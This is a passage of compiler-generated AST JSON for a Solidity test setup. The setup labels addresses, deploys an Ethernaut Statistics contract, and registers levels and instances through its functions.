memory"}},"id":65186,"indexExpression":{"hexValue":"31","id":65185,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"938:1:151","typeDescriptions":{"typeIdentifier":"t_rational_1_by_1","typeString":"int_const 1"},"value":"1"},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"932:8:151","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"src":"925:15:151","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"id":65188,"nodeType":"ExpressionStatement","src":"925:15:151"},{"expression":{"arguments":[{"id":65192,"name":"user","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65140,"src":"959:4:151","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"hexValue":"55736572","id":65193,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"965:6:151","typeDescriptions":{"typeIdentifier":"t_stringliteral_59daf22c92a94d3cc0dd1160ba0b142bdd9a54f280fcfa7508a89db52d34fac0","typeString":"literal_string \"User\""},"value":"User"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_stringliteral_59daf22c92a94d3cc0dd1160ba0b142bdd9a54f280fcfa7508a89db52d34fac0","typeString":"literal_string \"User\""}],"expression":{"id":65189,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"950:2:151","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":65191,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"953:5:151","memberName":"label","nodeType":"MemberAccess","referencedDeclaration":15042,"src":"950:8:151","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_string_memory_ptr_$returns$__$","typeString":"function (address,string memory) external"}},"id":65194,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"950:22:151","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":65195,"nodeType":"ExpressionStatement","src":"950:22:151"},{"expression":{"id":65200,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":65196,"name":"level_factory_1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65142,"src":"983:15:151","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"baseExpression":{"id":65197,"name":"users","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65164,"src":"1001:5:151","typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_memory_ptr","typeString":"address payable[] memory"}},"id":65199,"indexExpression":{"hexValue":"32","id":65198,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1007:1:151","typeDescriptions":{"typeIdentifier":"t_rational_2_by_1","typeString":"int_const 2"},"value":"2"},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"1001:8:151","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"src":"983:26:151","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"id":65201,"nodeType":"ExpressionStatement","src":"983:26:151"},{"expression":{"arguments":[{"id":65205,"name":"level_factory_1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65142,"src":"1028:15:151","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"hexValue":"4c6576656c20466163746f72792031","id":65206,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"1045:17:151","typeDescriptions":{"typeIdentifier":"t_stringliteral_65af7a4382f81c8bc844f423e9f0c2c28e871e64124af2ca31cb819db8e7975f","typeString":"literal_string \"Level Factory 1\""},"value":"Level Factory 1"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_stringliteral_65af7a4382f81c8bc844f423e9f0c2c28e871e64124af2ca31cb819db8e7975f","typeString":"literal_string \"Level Factory 1\""}],"expression":{"id":65202,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1019:2:151","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":65204,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1022:5:151","memberName":"label","nodeType":"MemberAccess","referencedDeclaration":15042,"src":"1019:8:151","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_string_memory_ptr_$returns$__$","typeString":"function (address,string memory) external"}},"id":65207,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1019:44:151","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":65208,"nodeType":"ExpressionStatement","src":"1019:44:151"},{"expression":{"id":65213,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":65209,"name":"level_factory_2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65144,"src":"1074:15:151","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"baseExpression":{"id":65210,"name":"users","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65164,"src":"1092:5:151","typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_memory_ptr","typeString":"address payable[] memory"}},"id":65212,"indexExpression":{"hexValue":"33","id":65211,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1098:1:151","typeDescriptions":{"typeIdentifier":"t_rational_3_by_1","typeString":"int_const 3"},"value":"3"},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"1092:8:151","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"src":"1074:26:151","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"id":65214,"nodeType":"ExpressionStatement","src":"1074:26:151"},{"expression":{"arguments":[{"id":65218,"name":"level_factory_2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65144,"src":"1119:15:151","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"hexValue":"4c6576656c20466163746f72792032","id":65219,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"1136:17:151","typeDescriptions":{"typeIdentifier":"t_stringliteral_3ad65339d115cfd0b082e137ef24512a7f70e9893e66530fef7b6c5041c19201","typeString":"literal_string \"Level Factory 2\""},"value":"Level Factory 2"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_stringliteral_3ad65339d115cfd0b082e137ef24512a7f70e9893e66530fef7b6c5041c19201","typeString":"literal_string \"Level Factory 2\""}],"expression":{"id":65215,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1110:2:151","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":65217,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1113:5:151","memberName":"label","nodeType":"MemberAccess","referencedDeclaration":15042,"src":"1110:8:151","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_string_memory_ptr_$returns$__$","typeString":"function (address,string memory) external"}},"id":65220,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1110:44:151","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":65221,"nodeType":"ExpressionStatement","src":"1110:44:151"},{"expression":{"id":65226,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":65222,"name":"level_factory_3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65146,"src":"1165:15:151","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"baseExpression":{"id":65223,"name":"users","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65164,"src":"1183:5:151","typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_memory_ptr","typeString":"address payable[] memory"}},"id":65225,"indexExpression":{"hexValue":"34","id":65224,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1189:1:151","typeDescriptions":{"typeIdentifier":"t_rational_4_by_1","typeString":"int_const 4"},"value":"4"},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"1183:8:151","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"src":"1165:26:151","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"id":65227,"nodeType":"ExpressionStatement","src":"1165:26:151"},{"expression":{"arguments":[{"id":65231,"name":"level_factory_3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65146,"src":"1210:15:151","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"hexValue":"4c6576656c20466163746f72792033","id":65232,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"1227:17:151","typeDescriptions":{"typeIdentifier":"t_stringliteral_6879a7628adde55e8bb801972600934f78dc5cc8047afd229994d69aba4dde5d","typeString":"literal_string \"Level Factory 3\""},"value":"Level Factory 3"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_stringliteral_6879a7628adde55e8bb801972600934f78dc5cc8047afd229994d69aba4dde5d","typeString":"literal_string \"Level Factory 3\""}],"expression":{"id":65228,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1201:2:151","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":65230,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1204:5:151","memberName":"label","nodeType":"MemberAccess","referencedDeclaration":15042,"src":"1201:8:151","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_string_memory_ptr_$returns$__$","typeString":"function (address,string memory) external"}},"id":65233,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1201:44:151","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":65234,"nodeType":"ExpressionStatement","src":"1201:44:151"},{"expression":{"id":65239,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":65235,"name":"level_instance_1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65148,"src":"1256:16:151","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"baseExpression":{"id":65236,"name":"users","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65164,"src":"1275:5:151","typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_memory_ptr","typeString":"address payable[] memory"}},"id":65238,"indexExpression":{"hexValue":"35","id":65237,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1281:1:151","typeDescriptions":{"typeIdentifier":"t_rational_5_by_1","typeString":"int_const 5"},"value":"5"},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"1275:8:151","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"src":"1256:27:151","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"id":65240,"nodeType":"ExpressionStatement","src":"1256:27:151"},{"expression":{"arguments":[{"id":65244,"name":"level_instance_1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65148,"src":"1302:16:151","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"hexValue":"4c6576656c20496e7374616e63652031","id":65245,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"1320:18:151","typeDescriptions":{"typeIdentifier":"t_stringliteral_f5ac5b805300c2f5d68b114b91d1258da79c11b28c5f5a7c103172716702a957","typeString":"literal_string \"Level Instance 1\""},"value":"Level Instance 1"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_stringliteral_f5ac5b805300c2f5d68b114b91d1258da79c11b28c5f5a7c103172716702a957","typeString":"literal_string \"Level Instance 1\""}],"expression":{"id":65241,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1293:2:151","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":65243,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1296:5:151","memberName":"label","nodeType":"MemberAccess","referencedDeclaration":15042,"src":"1293:8:151","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_string_memory_ptr_$returns$__$","typeString":"function (address,string memory) external"}},"id":65246,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1293:46:151","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":65247,"nodeType":"ExpressionStatement","src":"1293:46:151"},{"expression":{"id":65252,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":65248,"name":"level_instance_2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65150,"src":"1350:16:151","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"baseExpression":{"id":65249,"name":"users","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65164,"src":"1369:5:151","typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_memory_ptr","typeString":"address payable[] memory"}},"id":65251,"indexExpression":{"hexValue":"36","id":65250,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1375:1:151","typeDescriptions":{"typeIdentifier":"t_rational_6_by_1","typeString":"int_const 6"},"value":"6"},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"1369:8:151","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"src":"1350:27:151","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"id":65253,"nodeType":"ExpressionStatement","src":"1350:27:151"},{"expression":{"arguments":[{"id":65257,"name":"level_instance_2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65150,"src":"1396:16:151","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"hexValue":"4c6576656c20496e7374616e63652032","id":65258,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"1414:18:151","typeDescriptions":{"typeIdentifier":"t_stringliteral_9118ce0393567c1d37638c594e549bfee272bc0fcb3a0134f7a68c602537e0be","typeString":"literal_string \"Level Instance 2\""},"value":"Level Instance 2"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_stringliteral_9118ce0393567c1d37638c594e549bfee272bc0fcb3a0134f7a68c602537e0be","typeString":"literal_string \"Level Instance 2\""}],"expression":{"id":65254,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1387:2:151","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":65256,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1390:5:151","memberName":"label","nodeType":"MemberAccess","referencedDeclaration":15042,"src":"1387:8:151","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_string_memory_ptr_$returns$__$","typeString":"function (address,string memory) external"}},"id":65259,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1387:46:151","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":65260,"nodeType":"ExpressionStatement","src":"1387:46:151"},{"expression":{"id":65265,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":65261,"name":"level_instance_3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65152,"src":"1444:16:151","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"baseExpression":{"id":65262,"name":"users","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65164,"src":"1463:5:151","typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_memory_ptr","typeString":"address payable[] memory"}},"id":65264,"indexExpression":{"hexValue":"37","id":65263,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1469:1:151","typeDescriptions":{"typeIdentifier":"t_rational_7_by_1","typeString":"int_const 7"},"value":"7"},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"1463:8:151","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"src":"1444:27:151","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"id":65266,"nodeType":"ExpressionStatement","src":"1444:27:151"},{"expression":{"arguments":[{"id":65270,"name":"level_instance_3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65152,"src":"1490:16:151","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"hexValue":"4c6576656c20496e7374616e63652033","id":65271,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"1508:18:151","typeDescriptions":{"typeIdentifier":"t_stringliteral_05369e42055e17f63722c65d1ad15b3396d4f501fa9a6d016a4374ec060f1ede","typeString":"literal_string \"Level Instance 3\""},"value":"Level Instance 3"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_stringliteral_05369e42055e17f63722c65d1ad15b3396d4f501fa9a6d016a4374ec060f1ede","typeString":"literal_string \"Level Instance 3\""}],"expression":{"id":65267,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1481:2:151","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":65269,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1484:5:151","memberName":"label","nodeType":"MemberAccess","referencedDeclaration":15042,"src":"1481:8:151","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_string_memory_ptr_$returns$__$","typeString":"function (address,string memory) external"}},"id":65272,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1481:46:151","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":65273,"nodeType":"ExpressionStatement","src":"1481:46:151"},{"expression":{"id":65279,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":65274,"name":"stats","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65133,"src":"1538:5:151","typeDescriptions":{"typeIdentifier":"t_contract$_Statistics_$56450","typeString":"contract Statistics"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[],"expression":{"argumentTypes":[],"id":65277,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"NewExpression","src":"1546:14:151","typeDescriptions":{"typeIdentifier":"t_function_creation_nonpayable$__$returns$_t_contract$_Statistics_$56450_$","typeString":"function () returns (contract Statistics)"},"typeName":{"id":65276,"nodeType":"UserDefinedTypeName","pathNode":{"id":65275,"name":"Statistics","nameLocations":["1550:10:151"],"nodeType":"IdentifierPath","referencedDeclaration":56450,"src":"1550:10:151"},"referencedDeclaration":56450,"src":"1550:10:151","typeDescriptions":{"typeIdentifier":"t_contract$_Statistics_$56450","typeString":"contract Statistics"}}},"id":65278,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1546:16:151","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Statistics_$56450","typeString":"contract Statistics"}},"src":"1538:24:151","typeDescriptions":{"typeIdentifier":"t_contract$_Statistics_$56450","typeString":"contract Statistics"}},"id":65280,"nodeType":"ExpressionStatement","src":"1538:24:151"},{"expression":{"arguments":[{"arguments":[{"id":65286,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65138,"src":"1597:9:151","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"id":65285,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1589:7:151","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":65284,"name":"address","nodeType":"ElementaryTypeName","src":"1589:7:151","typeDescriptions":{}}},"id":65287,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1589:18:151","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":65281,"name":"stats","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65133,"src":"1572:5:151","typeDescriptions":{"typeIdentifier":"t_contract$_Statistics_$56450","typeString":"contract Statistics"}},"id":65283,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1578:10:151","memberName":"initialize","nodeType":"MemberAccess","referencedDeclaration":55670,"src":"1572:16:151","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":65288,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1572:36:151","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":65289,"nodeType":"ExpressionStatement","src":"1572:36:151"},{"expression":{"arguments":[{"id":65293,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65138,"src":"1633:9:151","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":65290,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1619:2:151","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":65292,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1622:10:151","memberName":"startPrank","nodeType":"MemberAccess","referencedDeclaration":15454,"src":"1619:13:151","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":65294,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1619:24:151","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":65295,"nodeType":"ExpressionStatement","src":"1619:24:151"},{"expression":{"arguments":[{"id":65299,"name":"level_factory_1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65142,"src":"1673:15:151","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":65296,"name":"stats","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65133,"src":"1654:5:151","typeDescriptions":{"typeIdentifier":"t_contract$_Statistics_$56450","typeString":"contract Statistics"}},"id":65298,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1660:12:151","memberName":"saveNewLevel","nodeType":"MemberAccess","referencedDeclaration":56023,"src":"1654:18:151","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":65300,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1654:35:151","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":65301,"nodeType":"ExpressionStatement","src":"1654:35:151"},{"expression":{"arguments":[{"id":65305,"name":"level_factory_2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65144,"src":"1718:15:151","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":65302,"name":"stats","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65133,"src":"1699:5:151","typeDescriptions":{"typeIdentifier":"t_contract$_Statistics_$56450","typeString":"contract Statistics"}},"id":65304,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1705:12:151","memberName":"saveNewLevel","nodeType":"MemberAccess","referencedDeclaration":56023,"src":"1699:18:151","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":65306,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1699:35:151","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":65307,"nodeType":"ExpressionStatement","src":"1699:35:151"},{"expression":{"arguments":[{"id":65311,"name":"level_factory_3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65146,"src":"1763:15:151","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":65308,"name":"stats","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65133,"src":"1744:5:151","typeDescriptions":{"typeIdentifier":"t_contract$_Statistics_$56450","typeString":"contract Statistics"}},"id":65310,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1750:12:151","memberName":"saveNewLevel","nodeType":"MemberAccess","referencedDeclaration":56023,"src":"1744:18:151","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":65312,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1744:35:151","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":65313,"nodeType":"ExpressionStatement","src":"1744:35:151"},{"expression":{"arguments":[{"id":65317,"name":"level_instance_1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65148,"src":"1814:16:151","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"id":65318,"name":"level_factory_1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65142,"src":"1832:15:151","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"id":65319,"name":"user","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65140,"src":"1849:4:151","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":65314,"name":"stats","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65133,"src":"1790:5:151","typeDescriptions":{"typeIdentifier":"t_contract$_Statistics_$56450","typeString":"contract Statistics"}},"id":65316,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1796:17:151","memberName":"createNewInstance","nodeType":"MemberAccess","referencedDeclaration":55774,"src":"1790:23:151","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_address_$_t_address_$returns$__$","typeString":"function (address,address,address) 